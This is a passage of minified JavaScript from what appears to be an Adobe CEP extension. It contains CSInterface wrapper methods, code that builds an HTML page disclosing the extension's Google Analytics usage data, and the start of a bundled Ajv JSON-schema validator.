    t._PANEL = "Panel", t._MODELESS = "Modeless", t._MODAL_DIALOG = "ModalDialog", EvalScript_ErrMessage = "EvalScript error.", i.MAX_NUM = 999999999, r.prototype.data = "", o.USER_DATA = "userData", o.COMMON_FILES = "commonFiles", o.MY_DOCUMENTS = "myDocuments", o.APPLICATION = "application", o.EXTENSION = "extension", o.HOST_APPLICATION = "hostApplication", n.RGB = "rgb", n.GRADIENT = "gradient", n.NONE = "none", I.THEME_COLOR_CHANGED_EVENT = "com.adobe.csxs.events.ThemeColorChanged", I.prototype.hostEnvironment = JSON.parse(window.__adobe_cep__.getHostEnvironment()), I.prototype.getHostEnvironment = function() {
        return this.hostEnvironment = JSON.parse(window.__adobe_cep__.getHostEnvironment()), this.hostEnvironment
    }, I.prototype.closeExtension = function() {
        window.__adobe_cep__.closeExtension()
    }, I.prototype.getSystemPath = function(A) {
        var e = decodeURI(window.__adobe_cep__.getSystemPath(A)),
            t = this.getOSInformation();
        return t.indexOf("Windows") >= 0 ? e = e.replace("file:///", "") : t.indexOf("Mac") >= 0 && (e = e.replace("file://", "")), e
    }, I.prototype.evalScript = function(A, e) {
        null !== e && void 0 !== e || (e = function(A) {}), window.__adobe_cep__.evalScript(A, e)
    }, I.prototype.getApplicationID = function() {
        return this.hostEnvironment.appId
    }, I.prototype.getHostCapabilities = function() {
        return JSON.parse(window.__adobe_cep__.getHostCapabilities())
    }, I.prototype.dispatchEvent = function(A) {
        "object" == typeof A.data && (A.data = JSON.stringify(A.data)), window.__adobe_cep__.dispatchEvent(A)
    }, I.prototype.addEventListener = function(A, e, t) {
        window.__adobe_cep__.addEventListener(A, e, t)
    }, I.prototype.removeEventListener = function(A, e, t) {
        window.__adobe_cep__.removeEventListener(A, e, t)
    }, I.prototype.requestOpenExtension = function(A, e) {
        window.__adobe_cep__.requestOpenExtension(A, e)
    }, I.prototype.getExtensions = function(A) {
        var e = JSON.stringify(A),
            t = window.__adobe_cep__.getExtensions(e);
        return JSON.parse(t)
    }, I.prototype.getNetworkPreferences = function() {
        var A = window.__adobe_cep__.getNetworkPreferences();
        return JSON.parse(A)
    }, I.prototype.initResourceBundle = function() {
        for (var A = JSON.parse(window.__adobe_cep__.initResourceBundle()), e = document.querySelectorAll("[data-locale]"), t = 0; t < e.length; t++) {
            var i = e[t],
                r = i.getAttribute("data-locale");
            if (r)
                for (var o in A)
                    if (0 === o.indexOf(r)) {
                        var n = A[o];
                        if (o.length == r.length) i.innerHTML = n;
                        else if ("." == o.charAt(r.length)) {
                            var s = o.substring(r.length + 1);
                            i[s] = n
                        }
                    }
        }
        return A
    }, I.prototype.dumpInstallationInfo = function() {
        return window.__adobe_cep__.dumpInstallationInfo()
    }, I.prototype.getOSInformation = function() {
        var A = navigator.userAgent;
        if ("Win32" == navigator.platform || "Windows" == navigator.platform) {
            var e = "Windows",
                t = "";
            return A.indexOf("Windows") > -1 && (A.indexOf("Windows NT 5.0") > -1 ? e = "Windows 2000" : A.indexOf("Windows NT 5.1") > -1 ? e = "Windows XP" : A.indexOf("Windows NT 5.2") > -1 ? e = "Windows Server 2003" : A.indexOf("Windows NT 6.0") > -1 ? e = "Windows Vista" : A.indexOf("Windows NT 6.1") > -1 ? e = "Windows 7" : A.indexOf("Windows NT 6.2") > -1 ? e = "Windows 8" : A.indexOf("Windows NT 6.3") > -1 ? e = "Windows 8.1" : A.indexOf("Windows NT 10") > -1 && (e = "Windows 10"), t = A.indexOf("WOW64") > -1 ? " 64-bit" : " 32-bit"), e + t
        }
        if ("MacIntel" == navigator.platform || "Macintosh" == navigator.platform) {
            var i = "Mac OS X";
            return A.indexOf("Mac OS X") > -1 && (i = A.substring(A.indexOf("Mac OS X"), A.indexOf(")")), i = i.replace(/_/g, ".")), i
        }
        return "Unknown Operation System"
    }, I.prototype.openURLInDefaultBrowser = function(A) {
        return cep.util.openURLInDefaultBrowser(A)
    }, I.prototype.getExtensionID = function() {
        return window.__adobe_cep__.getExtensionId()
    }, I.prototype.getScaleFactor = function() {
        return window.__adobe_cep__.getScaleFactor()
    }, I.prototype.setScaleFactorChangedHandler = function(A) {
        window.__adobe_cep__.setScaleFactorChangedHandler(A)
    }, I.prototype.getCurrentApiVersion = function() {
        return JSON.parse(window.__adobe_cep__.getCurrentApiVersion())
    }, I.prototype.setPanelFlyoutMenu = function(A) {
        "string" == typeof A && window.__adobe_cep__.invokeSync("setPanelFlyoutMenu", A)
    }, I.prototype.updatePanelMenuItem = function(A, e, t) {
        var i = !1;
        if (this.getHostCapabilities().EXTENDED_PANEL_MENU) {
            var r = new s(A, e, t);
            i = window.__adobe_cep__.invokeSync("updatePanelMenuItem", JSON.stringify(r))
        }
        return i
    }, I.prototype.setContextMenu = function(A, e) {
        "string" == typeof A && window.__adobe_cep__.invokeAsync("setContextMenu", A, e)
    }, I.prototype.setContextMenuByJSON = function(A, e) {
        "string" == typeof A && window.__adobe_cep__.invokeAsync("setContextMenuByJSON", A, e)
    }, I.prototype.updateContextMenuItem = function(A, e, t) {
        var i = new a(A, e, t);
        ret = window.__adobe_cep__.invokeSync("updateContextMenuItem", JSON.stringify(i))
    }, I.prototype.isWindowVisible = function() {
        return window.__adobe_cep__.invokeSync("isWindowVisible", "")
    }, I.prototype.resizeContent = function(A, e) {
        window.__adobe_cep__.resizeContent(A, e)
    }, I.prototype.registerInvalidCertificateCallback = function(A) {
        return window.__adobe_cep__.registerInvalidCertificateCallback(A)
    }, I.prototype.registerKeyEventsInterest = function(A) {
        return window.__adobe_cep__.registerKeyEventsInterest(A)
    }, I.prototype.setWindowTitle = function(A) {
        window.__adobe_cep__.invokeSync("setWindowTitle", A)
    }, I.prototype.getWindowTitle = function() {
        return window.__adobe_cep__.invokeSync("getWindowTitle", "")
    };
    var N = function() {
        function A(A) {
            var o = "";
            return o += e(), o += t(), o += i(), A.Groups instanceof Array && A.Groups.forEach(function(A) {
                o += r(A)
            }), o += '</div><script>\t(function() {\t\tvar toggles = document.getElementsByClassName("details-toggle");\t\tfor (var i = 0; i < toggles.length; i++) {\t\t\ttoggles[i].onclick = function () {\t\t\t\tvar details = this.nextElementSibling;\t\t\t\tvar detailsAreHidden = details.style.display === "none" || details.style.display === "";\t\t\t\tif (detailsAreHidden) {\t\t\t\t\tdetails.style.display = "block";\t\t\t\t\tthis.innerHTML = "Hide details";\t\t\t\t} else {\t\t\t\t\tdetails.style.display = "none";\t\t\t\t\tthis.innerHTML = "Show details";\t\t\t\t}\t\t\t}\t\t}\t}());<\/script></body></html>'
        }

        function e() {
            return '<!DOCTYPE html><html><head><meta charset="utf-8"><title>' + a + '</title><style>\tbody {\t\tfont-family: Helvetica, Arial, sans-serif;\t\tfont-size: 16px;\t\tline-height: 24px;\t\tpadding-top: 30px;\t\tpadding-bottom: 150px;\t}\tcode {\t\tbackground-color: hsl(0, 0%, 95%);\t\tpadding: 1px 5px;\t\tmargin: 0;\t}\ta,\ta:visited,\ta:active {\t\tcolor: #f66000;\t\ttext-decoration: none;\t}\ta:hover {\t\tcolor: black;\t\tcursor: pointer;\t}\th1 {\t\tpadding-bottom: 15px;\t\tborder-bottom: 1px solid hsl(0, 0%, 90%);\t\tline-height: 1.2;\t}\th2, h3 {\t\tpadding-bottom: 10px;\t\tborder-bottom: 1px solid hsl(0, 0%, 90%)\t}\th3:not(:first-child) {\t\tmargin-top: 40px;\t}\tp {\t\tmargin-top: 0;\t}\t.topic-container {\t\tmargin: 30px 0 0 0;\t}\ttable {\t\ttable-layout: fixed;\t\tborder-collapse: collapse;\t\twidth: 100%;\t\tpadding: 0px;\t\tborder: solid thin hsl(0, 0%, 95%);\t}\t.events th:not(:first-child),\t.pageviews th:last-child,\t.events td:not(:first-child):not(:last-child) {\t\ttext-align: center;\t}\t.events td:not(:first-child):not(:last-child),\t.pageviews td:first-child {\t\tfont-family: monospace;\t}\t.events td:last-child,\t.pageviews td:last-child {\t\tfont-style: italic;\t}\t.pageviews {\t\tmargin-bottom: 50px;\t}\tth {\t\tpadding: 5px;\t\ttext-align: left;\t}\ttd {\t\tpadding: 5px;\t\toverflow: hidden;\t\ttext-overflow: ellipsis;\t}\ttbody tr:nth-child(odd) {\t\tbackground-color: hsl(0, 0%, 95%);\t}\t.details-toggle {\t\tcolor: #f66000;\t\twidth: 300px;\t}\t.details {\t\tdisplay: none;\t}\t#container {\t\tmax-width: 800px;\t\tmargin: 0 auto;\t\tpadding: 0 5%;\t}</style><noscript>\t<style>\t\t.details-toggle {\t\t\tdisplay: none;\t\t}\t\t.details {\t\t\tdisplay: block;\t\t}\t</style></noscript></head><body><div id="container">'
        }

        function t() {
            return "<h1>" + a + '</h1><p>The data we collect is in no way linked to you personally; no emails, names or any other direct identifying information is collected. We gather usage metrics in order to help guide our efforts, spot any bugs or errors, and ensure that we are focused on features users actually use.</p><p>We are users as well so we value your privacy as much as we do ours. You can review our <a target="blank" href="http://aescripts.com/privacy-policy/">privacy policy</a> for full details.</p><p>Below is a list of <strong>all</strong> the data we collect, and <i>why</i>.</p>'
        }

        function i() {
            return '<div class="topic-container"><h2>Google Analytics Built-in Data</h2><p>We use <a target="blank" href="https://www.google.com/analytics/">Google Analytics</a>, which carries some general, anonymous user information that we don\'t explicitly track&mdash;but is provided by the platform. Most of this data is unusable (since it comes from inside of an extension), a lot of it <i>reads</i> and does not <i>write</i> data, but below is information that could potentially be useful from what is provided.</p></div><div class="topic-container"><h2>General System Info</h2><p>Every time ' + s + " is opened we send the following data to aescripts + aeplugins:</p><ul><li>Operating System: <code>name</code> and <code>version</code></li><li>Application: <code>version</code>, <code>locale</code> and <code>UI brightness</code></li><li>Common Extensibility Platform: <code>API version</code></li><li>Monitor: <code>DPI</code></li></ul><p>This helps us to understand on which kinds of systems " + s + ' is used and make sure it works on those in the best way possible.</p></div><div class="topic-container"><h2>Errors &amp; Exceptions</h2><p>When certain unexpected exceptions or errors happen during the execution of the product. This helps us to detect and fix bugs as early as possible - even before you file a bug report.</p></div>'
        }

        function r(A) {
            var e = A.events && A.events.length,
                t = A.pageviews && A.pageviews.length,
                i = "";
            return i += '<div class="topic-container"><h2>' + A.name + "</h2><p>" + A.description + "</p><p>" + A.reason + "</p>", (e || t) && (i += "<div class=details-wrapper>", i += '<a class="details-toggle">Show Details\u2026</a>', i += '<div class="details">', e && (i += "<h3>Events</h3>", i += o(A.events)), t && (i += "<h3>Pageviews</h3>", i += n(A.pageviews)), i += "</div>", i += "</div>"), i += "</div>"
        }

        function o(A) {
            var e = '<table class="events"><tr><th>Action</th><th>Category</th><th>Label</th><th>Value</th><th>is Sent</th></tr>';
            return A.forEach(function(A) {
                var t = void 0 === A.label ? "None" : A.label,
                    i = void 0 === A.value ? "None" : A.value;
                e += "<tr>", e += "<td>" + A.action + "</td><td>" + A.category + "</td><td>" + t + "</td><td>" + i + "</td><td>" + A.isSent + "</td>", e += "</tr>"
            }), e += "</table>"
        }

        function n(A) {
            var e = '<table class="pageviews"><tr><th>Path</th><th>is Sent</th></tr>';
            return A.forEach(function(A) {
                e += "<tr>", e += "<td>" + A.path + "</td><td>" + A.isSent + "</td>", e += "</tr>"
            }), e += "</table>"
        }
        var s = function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 14 - t)
                }).join("")
            }(27, 150, 111) + 24..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 33 - t)
                }).join("")
            }(48, 200),
            a = s + " Analytics";
        return A
    }();
    ! function() {
        var A = void 0;
        ! function(A) {
            "object" == typeof exports && "undefined" != typeof module ? module.exports = A() : "function" == typeof define && define.amd ? define([], A) : ("undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : this).Ajv = A()
        }(function() {
            return function e(t, i, r) {
                function o(s, a) {
                    if (!i[s]) {
                        if (!t[s]) {
                            var I = "function" == typeof A && A;
                            if (!a && I) return I(s, !0);
                            if (n) return n(s, !0);
                            var l = new Error("Cannot find module '" + s + "'");
                            throw l.code = "MODULE_NOT_FOUND", l
                        }
                        var c = i[s] = {
                            exports: {}
                        };
                        t[s][0].call(c.exports, function(A) {
                            return o(t[s][1][A] || A)
                        }, c, c.exports, e, t, i, r)
                    }
                    return i[s].exports
                }
                for (var n = "function" == typeof A && A, s = 0; s < r.length; s++) o(r[s]);
                return o
            }({
                1: [function(A, e, t) {
                    "use strict";
                    var i = ["multipleOf", "maximum", "exclusiveMaximum", "minimum", "exclusiveMinimum", "maxLength", "minLength", "pattern", "additionalItems", "maxItems", "minItems", "uniqueItems", "maxProperties", "minProperties", "required", "additionalProperties", "enum", "format", "const"];
                    e.exports = function(A, e) {
                        for (var t = 0; t < e.length; t++) {
                            A = JSON.parse(JSON.stringify(A));
                            var r, o = e[t].split("/"),
                                n = A;
                            for (r = 1; r < o.length; r++) n = n[o[r]];
                            for (r = 0; r < i.length; r++) {
                                var s = i[r],
                                    a = n[s];
                                a && (n[s] = {
                                    anyOf: [a, {
                                        $ref: "https://raw.githubusercontent.com/epoberezkin/ajv/master/lib/refs/$data.json#"
                                    }]
                                })
                            }
                        }
                        return A
                    }
                }, {}],
                2: [function(A, e, t) {
                    "use strict";
                    var i = e.exports = function() {
                        this._cache = {}
                    };
                    i.prototype.put = function(A, e) {
                        this._cache[A] = e
                    }, i.prototype.get = function(A) {
                        return this._cache[A]
                    }, i.prototype.del = function(A) {
                        delete this._cache[A]
                    }, i.prototype.clear = function() {
                        this._cache = {}
                    }
                }, {}],
                3: [function(A, e, t) {
                    "use strict";
                    e.exports = {
                        $ref: A("../dotjs/ref"),
                        allOf: A("../dotjs/allOf"),
                        anyOf: A("../dotjs/anyOf"),
                        const: A("../dotjs/const"),
                        contains: A("../dotjs/contains"),
                        dependencies: A("../dotjs/dependencies"),
                        enum: A("../dotjs/enum"),
                        format: A("../dotjs/format"),
                        items: A("../dotjs/items"),
                        maximum: A("../dotjs/_limit"),
                        minimum: A("../dotjs/_limit"),
                        maxItems: A("../dotjs/_limitItems"),
                        minItems: A("../dotjs/_limitItems"),
                        maxLength: A("../dotjs/_limitLength"),
                        minLength: A("../dotjs/_limitLength"),
                        maxProperties: A("../dotjs/_limitProperties"),
                        minProperties: A("../dotjs/_limitProperties"),
                        multipleOf: A("../dotjs/multipleOf"),
                        not: A("../dotjs/not"),
                        oneOf: A("../dotjs/oneOf"),
                        pattern: A("../dotjs/pattern"),
                        properties: A("../dotjs/properties"),
                        propertyNames: A("../dotjs/propertyNames"),
                        required: A("../dotjs/required"),
                        uniqueItems: A("../dotjs/uniqueItems"),
                        validate: A("../dotjs/validate")
                    }
                }, {
                    "../dotjs/_limit": 13,
                    "../dotjs/_limitItems": 14,
                    "../dotjs/_limitLength": 15,
                    "../dotjs/_limitProperties": 16,
                    "../dotjs/allOf": 17,
                    "../dotjs/anyOf": 18,
                    "../dotjs/const": 19,
                    "../dotjs/contains": 20,
                    "../dotjs/dependencies": 22,
                    "../dotjs/enum": 23,
                    "../dotjs/format": 24,
                    "../dotjs/items": 25,
                    "../dotjs/multipleOf": 26,
                    "../dotjs/not": 27,
                    "../dotjs/oneOf": 28,
                    "../dotjs/pattern": 29,
                    "../dotjs/properties": 30,
                    "../dotjs/propertyNames": 31,
                    "../dotjs/ref": 32,
                    "../dotjs/required": 33,
                    "../dotjs/uniqueItems": 34,
                    "../dotjs/validate": 35
                }],
                4: [function(A, e, t) {
                    "use strict";

                    function i(A, e, t) {
                        function o(A) {
                            var e = A.$schema;
                            return e && !s.getSchema(e) ? i.call(s, {
                                $ref: e
                            }, !0) : Promise.resolve()
                        }

                        function n(A) {
                            try {
                                return s._compile(A)
                            } catch (t) {
                                if (t instanceof r) return function(t) {
                                    function i() {
                                        delete s._loadingSchemas[a]
                                    }

                                    function r(A) {
                                        return s._refs[A] || s._schemas[A]
                                    }
                                    var a = t.missingSchema;
                                    if (r(a)) throw new Error("Schema " + a + " is loaded but " + t.missingRef + " cannot be resolved");
                                    var I = s._loadingSchemas[a];
                                    return I || (I = s._loadingSchemas[a] = s._opts.loadSchema(a)).then(i, i), I.then(function(A) {
                                        if (!r(a)) return o(A).then(function() {
                                            r(a) || s.addSchema(A, a, void 0, e)
                                        })
                                    }).then(function() {
                                        return n(A)
                                    })
                                }(t);
                                throw t
                            }
                        }
                        var s = this;
                        if ("function" != typeof this._opts.loadSchema) throw new Error("options.loadSchema should be a function");
                        "function" == typeof e && (t = e, e = void 0);
                        var a = o(A).then(function() {
                            var t = s._addSchema(A, void 0, e);
                            return t.validate || n(t)
                        });
                        return t && a.then(function(A) {
                            t(null, A)
                        }, t), a
                    }
                    var r = A("./error_classes").MissingRef;
                    e.exports = i
                }, {
                    "./error_classes": 5
                }],
                5: [function(A, e, t) {
                    "use strict";

                    function i(A) {
                        this.message = "validation failed", this.errors = A, this.ajv = this.validation = !0
                    }

                    function r(A, e, t) {
                        this.message = t || r.message(A, e), this.missingRef = n.url(A, e), this.missingSchema = n.normalizeId(n.fullPath(this.missingRef))
                    }

                    function o(A) {
                        return A.prototype = Object.create(Error.prototype), A.prototype.constructor = A, A
                    }
                    var n = A("./resolve");
                    e.exports = {
                        Validation: o(i),
                        MissingRef: o(r)
                    }, r.message = function(A, e) {
                        return "can't resolve reference " + e + " from id " + A
                    }
                }, {
                    "./resolve": 8
                }],
                6: [function(A, e, t) {
                    "use strict";

                    function i(A) {
                        return A = "full" == A ? "full" : "fast", l.copy(i[A])
                    }

                    function r(A) {
                        var e = A.match(c);
                        if (!e) return !1;
                        var t = +e[1],
                            i = +e[2];
                        return t >= 1 && t <= 12 && i >= 1 && i <= B[t]
                    }

                    function o(A, e) {
                        var t = A.match(g);
                        if (!t) return !1;
                        var i = t[1],
                            r = t[2],
                            o = t[3],
                            n = t[5];
                        return i <= 23 && r <= 59 && o <= 59 && (!e || n)
                    }

                    function n(A) {
                        var e = A.split(p);
                        return 2 == e.length && r(e[0]) && o(e[1], !0)
                    }

                    function s(A) {
                        return A.length <= 255 && h.test(A)
                    }

                    function a(A) {
                        return C.test(A) && E.test(A)
                    }

                    function I(A) {
                        if (D.test(A)) return !1;
                        try {
                            return new RegExp(A), !0
                        } catch (A) {
                            return !1
                        }
                    }
                    var l = A("./util"),
                        c = /^\d\d\d\d-(\d\d)-(\d\d)$/,
                        B = [0, 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31],
                        g = /^(\d\d):(\d\d):(\d\d)(\.\d+)?(z|[+-]\d\d:\d\d)?$/i,
                        h = /^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*$/i,
                        E = /^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@\/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@\/?]|%[0-9a-f]{2})*)?$/i,
                        u = /^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@\/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@\/?]|%[0-9a-f]{2})*)?$/i,
                        Q = /^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#.\/;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i,
                        d = /^(?:(?:http[s\u017F]?|ftp):\/\/)(?:(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+(?::(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?@)?(?:(?!10(?:\.[0-9]{1,3}){3})(?!127(?:\.[0-9]{1,3}){3})(?!169\.254(?:\.[0-9]{1,3}){2})(?!192\.168(?:\.[0-9]{1,3}){2})(?!172\.(?:1[6-9]|2[0-9]|3[01])(?:\.[0-9]{1,3}){2})(?:[1-9][0-9]?|1[0-9][0-9]|2[01][0-9]|22[0-3])(?:\.(?:1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])){2}(?:\.(?:[1-9][0-9]?|1[0-9][0-9]|2[0-4][0-9]|25[0-4]))|(?:(?:(?:[0-9KSa-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-?)*(?:[0-9KSa-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)(?:\.(?:(?:[0-9KSa-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-?)*(?:[0-9KSa-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)*(?:\.(?:(?:[KSa-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]){2,})))(?::[0-9]{2,5})?(?:\/(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?$/i,
                        f = /^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i,
                        S = /^(?:\/(?:[^~\/]|~0|~1)*)*$|^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i,
                        w = /^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~\/]|~0|~1)*)*)$/;
                    e.exports = i, i.fast = {
                        date: /^\d\d\d\d-[0-1]\d-[0-3]\d$/,
                        time: /^[0-2]\d:[0-5]\d:[0-5]\d(?:\.\d+)?(?:z|[+-]\d\d:\d\d)?$/i,
                        "date-time": /^\d\d\d\d-[0-1]\d-[0-3]\d[t\s][0-2]\d:[0-5]\d:[0-5]\d(?:\.\d+)?(?:z|[+-]\d\d:\d\d)$/i,
                        uri: /^(?:[a-z][a-z0-9+-.]*)(?::|\/)\/?[^\s]*$/i,
                        "uri-reference": /^(?:(?:[a-z][a-z0-9+-.]*:)?\/\/)?[^\s]*$/i,
                        "uri-template": Q,
                        url: d,
                        email: /^[a-z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i,
                        hostname: h,
                        ipv4: /^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,
                        ipv6: /^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1